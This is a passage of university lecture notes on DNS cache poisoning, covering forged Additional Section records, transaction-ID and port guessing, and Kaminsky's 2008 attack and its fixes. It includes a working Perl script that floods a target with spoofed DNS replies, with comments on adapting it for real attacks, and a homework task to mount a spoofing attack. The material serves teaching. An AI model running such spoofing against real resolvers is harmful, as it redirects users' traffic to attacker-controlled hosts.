reply is allowed to contain information in its Additional
Section, information that was not specifically requested in
the queries emanating from harbor but that would nonethe-
less be stored away by the DNS server on harbor if it accepts
the fake reply. [At a high level of description, the format of a reply expected
by a nameserver in response to its recursive queries is the same as what you see when
you execute the dig command. As to what a reply looks like at the low level, see the
reply packets in the tcpdump output shown in Section 17.3 of this lecture.] You
could, for example, include a wrong IP address for the name-
servers assigned to the amazon.com domain. The dig com-
mand shown earlier tells us that pdns1.ultradns.net is one of
the nameservers for amazon.com. So in the Additional
Section of the fake reply, you could include a Resource Record
like
pdns1.ultradns.net. 86400 IN A xxx.xxx.xxx.xxx
where xxx.xxx.xxx.xxx stands for the wrong IP address.
In this manner, you could also hijack the nameservers for
the amazon.com domain. Subsequently, the nameserver at
harbor will access your hijacked nameserver for any host-
name in the amazon.com domain. [To this, you might say,
why not forbid the inclusion of Additional Section in the replies
expected by a nameserver? Used legitimately, the information sup-
plied through the Additional Section significantly cuts down on
the DNS traffic on the internet.] A nameserver accept-
75

ing information through the Additional Section in
the manner described here forms the basis of the
more virulent DNS cache poisoning attack discov-
ered by Dan Kaminsky, as we discuss in the next
section.
7. You can obviously expect the attacker to associate the longest
possible TTL with the fake replies. Subsequently, all DNS
queries to harbor.ecn.purdue.edu for the domain amazon.com
will be directed to the host that belongs to the bad guys.
• Whether or not the attacker would succeed with a DNS cache
poisoning attack depends on how deep an understanding the at-
tacker has of the pseudorandom number generator used by the
attacked nameserver for generating the Transaction ID numbers.
• Earlier versions of BIND did not randomize the Transaction IDs;
the numbers used were purely sequential. If the attacked name-
server is still running one of those versions of BIND, it would
be trivial to construct a candidate set of Transaction IDs and to
then send fake replies to the attacked nameserver’s query about
the name in question. Obviously, when the attacked nameserver
randomizes its Transaction IDs, the attacker would need to be
smarter about constructing the packet ﬂood that would consti-
tute answers to the attacked nameserver’s query.
76

• What increases the odds in attacker’s favor is that BIND’s imple-
mentation of the DNS protocol actually sends multiple simultane-
ous queries for the same symbolic name that needs to be resolved,
each with a diﬀerent Transaction ID number. On account of the
birthday paradox explained in Lecture 15, this could signiﬁ-
cantly increase the probability of getting the attacked nameserver
to accept one of the phony answers to its query with only a few
hundred packets (instead of the tens of thousands previously be-
lieved to be needed).
• Any weaknesses in the pseudorandom number generator used by
the attacked nameserver will only increase the chances of success
by the attacker. If the attacker somehow gains knowledge of
the previously used Transaction IDs by the attacked nameserver,
he/she may be able to predict with a high probability the next
Transaction ID that the attacked nameserver will use.
• In addition to the Transaction ID, as already mentioned, there
is one more piece of information that the attacker needs when
sending phony replies to the attacked nameserver: the source
port that the attacked nameserver uses when sending
out its queries about the domain name the attacker
wants to hijack.
77

• The attacker can safely assume that the port in the destination
address used in the query packets issued by the attacked name-
server is 53 since that is the standard port monitored by name-
servers. However, the source port at the attacked nameserver
machine from which the queries are emanating is another mat-
ter altogether. As Stewart has mentioned, “it turns out that
more often than not BIND reuses the same port for queries on
behalf of the same client.” [Joe Stewart, “DNS Cache Poisoning — The Next Gener-
ation,” http://www.lurhq.com/dnscache.pdf] So if the attacker is working from
an authoritative nameserver, he can ﬁrst issue a request for a
DNS lookup of a hostname in his own domain. Having access
to his own authoritative nameserver, when the response arrives
from the machine to be attacked, he can look at the source port
in the response. Subsequently, the attacker can direct the phony
replies to this port on the attacked machine. Stewart says there
is a high probability that the attacked-machine source port thus
ﬁshed out by the attacker will the same on which the attacked
machine issues its queries during the attack.
78

17.12: WRITING CODE FOR MOUNTING
A CACHE POISONING ATTACK
• Now that you understand the principles that underlie a DNS
cache poisoning attack, how does one write code to mount such
an attack? Obviously, you must manually craft out the UDP
packets with specific payloads and with specific DNS transaction
ID numbers.
• Shown on the next page is a Perl implementation that with some
modification could be used to mount a cache poisoning attack.
[The intent here is only to show how to put together a UDP packet whose data payload consists of a legal DNS
response. For mounting actual cache poisoning attacks, see the SANS report cited in the Programming Assign-
ment at the end of this lecture.] The implementation uses the Perl module
Net::DNS for putting together a legal DNS response string and
the Net::RawIP module for manually creating a UDP packet in
which the DNS response string is inserted. You may wish to read
carefully the embedded comments in order to understand how to
change the implementation for mounting an attack.
• You will face two main challenges in converting the script into
79

a cache poisoning attack: Constructing a spooﬁng set of DNS
Transaction IDs in line (H) and making a correct guess for the
destination port in line (G). See the previous section of this lecture
for how to address both those issues for at least the older machines
in a network.
#!/usr/bin/perl -w
## dns_fake_response.pl
## Author: Avi Kak (March 27, 2011)
## Shows you how you can put on the wire UDP packets that could potentially
## be a response to a DNS query emanating from a client name resolver
## or a DNS caching nameserver. This script repeatedly sends out UDP packets,
## each packet with a different DNS transaction ID. The DNS Address Record
## (meaning a Resource Record of type A) contained in the data payload
## of every UDP packet is the same --- the fake IP address for a domain.
use Net::DNS; #(A)
use Net::RawIP; #(B)
use strict; #(C)
my $sourceIP = ’192.168.1.105’; # IP address of the attacking host #(D)
my $destIP = ’192.168.1.100’; # IP address of the victim host #(E)
# (If victim host is in your LAN, this must be a
# valid IP in your LAN since otherwise ARP
# would not be able to get a valid MAC address
# and the UDP datagram would have nowhere to go)
my $destPort = 23456; # change it to whatever client resolver is using #(F)
my $sourcePort = 5353; # change it to 53 for actual attacks #(G)
# Transaction IDs to use:
my @spoofing_set = 34000..34005; # Make it to be a large and apporpriate #(H)
# range for a real attack
my $domain_name="moonshine.ecn.purdue.edu"; # The name of the domain whose IP #(I)
# address you want to spoof with a
# rogue IP address in the cache of
# client resolver or a caching
# nameserver
my $rougeIP=’192.168.1.101’; # See the comment above #(J)
80

my @udp_packets; # This will be the collection of DNS response packets #(K)
# with each packet using a different transaction ID
foreach my $dns_trans_id (@spoofing_set) { #(L)
my $udp_packet = new Net::RawIP({ip=> {saddr=>$sourceIP, daddr=>$destIP}, #(M)
udp=>{source=>$sourcePort, dest=>$destPort}}); #(N)
# Prepare DNS fake reponse data for the UDP packet:
my $dns_packet = Net::DNS::Packet->new($domain_name, "A", "IN"); #(O)
$dns_packet->header->qr(1); # for a DNS reponse packet #(P)
print "constructing dns packet for id: $dns_trans_idn";
$dns_packet->header->id($dns_trans_id); #(Q)
$dns_packet->print;
$dns_packet->push("pre", rr_add($domain_name . ". 86400 A " . $rougeIP)); #(R)
my $udp_data = $dns_packet->data; #(S)
# Insert fake DNS data into the UDP packet:
$udp_packet->set({udp=>{data=>$udp_data}}); #(T)
push @udp_packets, $udp_packet; #(U)
}
my $interval = 1; # for the number of seconds between successive #(V)
# transmissions of the UDP reponse packets.
# Make it 0.001 for a real attack. The value of 1
# is good for dubugging.
my $repeats = 2; # Give it a large value for a real attack #(W)
my $attempt = 0; #(X)
while ($attempt++ < $repeats) { #(Y)
foreach my $udp_packet (@udp_packets) { #(Z)
$udp_packet->send(); #(a)
sleep $interval; #(b)
}
}
• I tested the above script with the tcpdump packet sniﬀer with
the following command line options:
tcpdump -vvv -nn -i wlan0 -s 1500 -S -X -c 10 ’src 192.168.1.105’ or ’dst 192.168.1.105 and port 5353’
Note in particular my choice of port 5353, in both the script and
the tcpdump invocation above, for the source port. This is for
81

debugging purposes only — especially because I did not want to
interfere with the BIND 9 DNS server monitoring port 53 on my
laptop.
• So far we have only talked about poisoning the cache of a re-
cursive nameserver. Obviously, the above script could also be
used to poison the cache of a client name resolver such as the one
associated with a web browser or a mail client.
• Scripts of the kind shown in this section can easily be written in
Python with the help of the pydns module.
82

17.13: DAN KAMINSKY’S MORE
VIRULENT EXPLOIT FOR DNS CACHE
POISONING
• In 2008, Dan Kaminsky discovered a new way to mount the DNS
cache poisoning attack that was more virulent compared to what
I have described in Section 17.11. In addition to any weaknesses
in the random numbers associated with the queries, Kaminsky’s
exploit also took advantage of another weakness of the DNS pro-
tocol itself: a caching nameserver accepting resource records
for hosts not asked for in the query. [Dan Kaminsky, “Black Ops 2008: It’s the
End of the Cache As We Know It,” http://doxpara.com/DMK_Neut_toor.ppt]
• As a result, US-CERT (United States Computer Emergency Readi-
ness Team) issued a Vulnerability Note stating that Kaminsky
had discovered a fundamental flaw in the DNS protocol itself.
This announcement consisted of a a Vulnerability Note whose
first page is shown next. [US-CERT is a part of the US Department of Homeland Se-
curity. It is located in Washington DC.] Subsequently, several vendors of DNS
software issued their own advisories and patches. I have shown
the first page of the CISCO advisory after the US-CERT advi-
sory. Visit the respective web pages for the complete documents
if interested.
83

84

85

• Strictly speaking, Kaminsky’s exploit only affects the caching
DNS nameservers. That is, the DNS nameservers that are purely
authoritative are not vulnerable to his attack. However, remem-
ber that for a DNS server to be useful, it can be authoritative only
with respect to the names that are in the domain of the server.
With respect to all other names, a nameserver that is otherwise
authoritative must serve as a recursive nameserver that allows
caching for the sake of efficiency in name lookup.
• To understand Kaminsky’s exploit, let’s say that an outsider (or,
for that matter, even an insider) wants to poison a nameserver
for the purdue.edu domain. Let’s assume that attacker want to
place in the cache of the nameserver ns.purdue.edu a fake IP
address for www.foo.com.
• The attacker starts by querying the nameserver for the
purdue.edu domain for possibly nonexistent symbolic hostnames
1.foo.com, 2.foo.com, 3.foo.com, etc. The nameserver
ns.purdue.edu will have no entries for this hostnames. So
this nameserver will first contact one of the root nameservers
for the com domain and will eventually contact the nameserver
for the foo.com domain for the IP addresses for 1.foo.com,
2.foo.com, etc. Let’s say that the nameserver for the foo.com
domain is ns.foo.com.
86

• The attacker now sends spoofed replies from ns.foo.com to
ns.purdue.edu for all of the queries emanating from the lat-
ter for the various versions of foo.com hostnames. Obviously,
the attacker will have to race against the true an-
swers being sent to ns.purdue.edu from the authentic
ns.foo.com.
• Assuming that the attacker wins the race, the Transaction IDs
in the spoofed replies from the attacker will have to match the
TIDs in the queries emanating from ns.purdue.edu. But we
have already discussed that problem in Section 17.11. [As Dan
Kaminsky said in his now famous keynote address at the 2008 ToorCon Conference, with respect to
winning the race, the bad guys have the starter pistol. It takes time for a query to reach the legitimate
nameserver at foo.com and even more time for that nameserver to send replies. The bad guy can get
to sending the fake replies right away.]
• The new discovery that Kaminsky made was that a caching name-
server such as ns.purdue.edu would not only accept the Re-
source Records in the Answer Section of the fake replies to its
queries, but also the RRs in the Additional Section where
the attacker may even place a fake address for ns.foo.com. The
attacker could also associate a long TTL with this entry.
• Subsequently, any third-party accessing the ns.purdue.edu name-
87

server for an IP address for any host in the foo.com domain will
reach the attacker nameserver instead of the true nameserver for
the foo.com domain. Now the attacker could create any set of
hostname-to-IP address mappings for the hosts in the foo.com
domain.
• The fix for the problem discovered by Kaminsky consists of two
parts:
1. Make it more difficult to take advantage of the birthday para-
dox when it comes to guessing the Transaction ID in a query
emanating from a resolver or a recursive nameserver. [As
mentioned in Section 17.11, the fundamental problem is that the DNS protocol only allows for a
16-bit field for TID — that is only 65,535 values. So even with a strong random number generator,
in the absolute worst case, on the average an attacker would only need to send 32K UDP reply
packets in order get the fake IP entries accepted at the nameserver being attacked — provided
the attacker also guesses correctly the port being used for the outgoing queries. As-
suming that the issue of matching the ports can somehow be addressed, it is obviously the case
that 32K is not a small number for, say, a low-bandwidth network. As you saw, Kaminsky re-
duces this number considerably by querying the nameserver for a number of related hostnames
— as in 1.foo.com, 2.foo.com, etc. — and getting the nameserver to handle all those queries
recursively.] To make it more difficult for the attacker to guess
the correct TID and to also get it right with regard to the
port being used by the nameserver being attacked, the first
fix consists of randomizing the ports for the outgoing queries,
as opposed to using the same port for the same query repeat-
88

edly. Since a port address is also 16 bits, this in eﬀect creates
a 32-bit randomization of the outgoing queries, with 16 bits
corresponding to the Transaction ID random number and 16
bits for the port used.
2. And, just as importantly, insisting that all recursive name-
servers carry out what is known as bailiwick check of the
RRs in the replies sent by the other nameservers before accept-
ing them. Bailiwick check means to not accept an RR if it con-
tains a hostname that was not in the outgoing query. In this
manner, even if the attacker managed to corrupt the cached
IP addresses for speciﬁc hostnames such as 1.foo.com,
2.foo.com, etc., the attacker will not be able to corrupt the
entry for the nameserver ns.foo.com at the same time.
89

17.14: HOMEWORK PROBLEMS
1. The acronym DNS stands for multiple things, all related to how
the symbolic hostnames are looked up on the internet. What are
those things?
2. What is the role of the /etc/hosts file in your computer vis-a-vis
a DNS lookup for determining the symbolic hostname for a given
IP address? Also, what purpose is served by the /etc/host.conf
file?
3. Let’s say you have been given a login account on a server in
another country. What is your rough estimate of the number of
name lookup messages that would result from your attempt to
log into that server?
4. What is the role of the thirteen root DNS servers? In a typical
Ubuntu install of BIND, what file contains the numerical IP ad-
dresses of these root servers? Also, when a root server is queried
during name lookup, what information does it typically return?
90

5. What is the difference between a gTLD and a ccTLD DNS server?
6. How will you use the dig tool to figure out the IP addresses of all
the gTLD DNS servers designated for the .com top-level domain?
7. What is a reverse DNS lookup? What domain name is associated
with reverse DNS lookup?
8. A typical DNS nameserver consists of two parts: the authoritative
name server and the recursive nameserver. What is the difference
between the two? Also, what is meant by iterative name lookup?
9. What is a fully qualified domain name and how do you recognize
it in the answer returned by the dig utility?
10. What is the important role played by the DNS cache? And, why
does a DNS server need this cache?
11. When a name lookup query is fielded by an authoritative name-
server, the answer comes back with a TTL? What is TTL in this
context? How is TTL used in a DNS cache?
12. What is meant by poisoning the DNS cache? Explain how one
mounts a DNS cache poisoning attack?
91

13. Programming Assignment:
The goal of this homework is to help you become more familiar
with DNS. Start by studying the SANS report ”DNS Spoofing
by The Man In The Middle Attack” available from
http://www.sans.org/reading_room/whitepapers/dns/dns-spoofing-man-middle_1567
This report includes a Perl script for mounting a DNS spoofing
attack. As you will discover, this script has a couple of bugs
in it. Your homework consists of either making this Perl script
operational or using the logic of the script to write its Python
version using the pydns module. If you are going to be the
working on the Perl version, you may first wish to download into
your machine the libnet-dns-perl package with your Synaptic
package manager. Additionally, if working with Perl, your script
must also include the pragma declaration “use strict”.
Following the discussion in the SANS report, use either the Perl
version or the Python version to mount a DNS spoofing attack
on an old Windows machine if you can find one. If not, try to
mount the attack on any machine of your choice. It is highly
unlikely that you will succeed with this attack today, unless the
targeted machine is very old. Nonetheless, just attempting the
attack will give you additional insights into the DNS system.
Note that the packet sniffer Ethereal mentioned in the report is
now known as Wireshark (to be presented in greater detail in
Lecture 23). For your needs at the moment, you can also just use
the tcpdump command-line sniffer that you are already familiar
with.
92

Lecture17

More Related Content

What's hot (18)

Viewers also liked (20)

Similar to Lecture17 (20)

Recently uploaded (20)

Lecture17